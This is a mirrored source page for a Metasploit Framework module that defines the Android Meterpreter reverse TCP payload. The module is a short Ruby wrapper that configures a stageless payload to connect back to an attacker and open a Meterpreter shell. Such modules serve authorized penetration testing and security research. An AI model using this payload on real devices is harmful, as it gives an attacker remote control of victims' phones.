CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/android/meterpreter_reverse_tcp.rb
Views: 11766
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = :dynamic
10
11
include Msf::Payload::TransportConfig
12
include Msf::Payload::Single
13
include Msf::Payload::Android
14
include Msf::Sessions::MeterpreterOptions
15
16
def initialize(info = {})
17
super(merge_info(info,
18
'Name' => 'Android Meterpreter Shell, Reverse TCP Inline',
19
'Description' => 'Connect back to the attacker and spawn a Meterpreter shell',
20
'Platform' => 'android',
21
'Arch' => ARCH_DALVIK,
22
'License' => MSF_LICENSE,
23
'Handler' => Msf::Handler::ReverseTcp,
24
'Session' => Msf::Sessions::Meterpreter_Java_Android,
25
'Payload' => '',
26
))
27
end
28
29
#
30
# Generate the transport-specific configuration
31
#
32
def transport_config(opts={})
33
transport_config_reverse_tcp(opts)
34
end
35
36
def generate_jar(opts={})
37
opts[:stageless] = true
38
super(opts)
39
end
40
end
41
42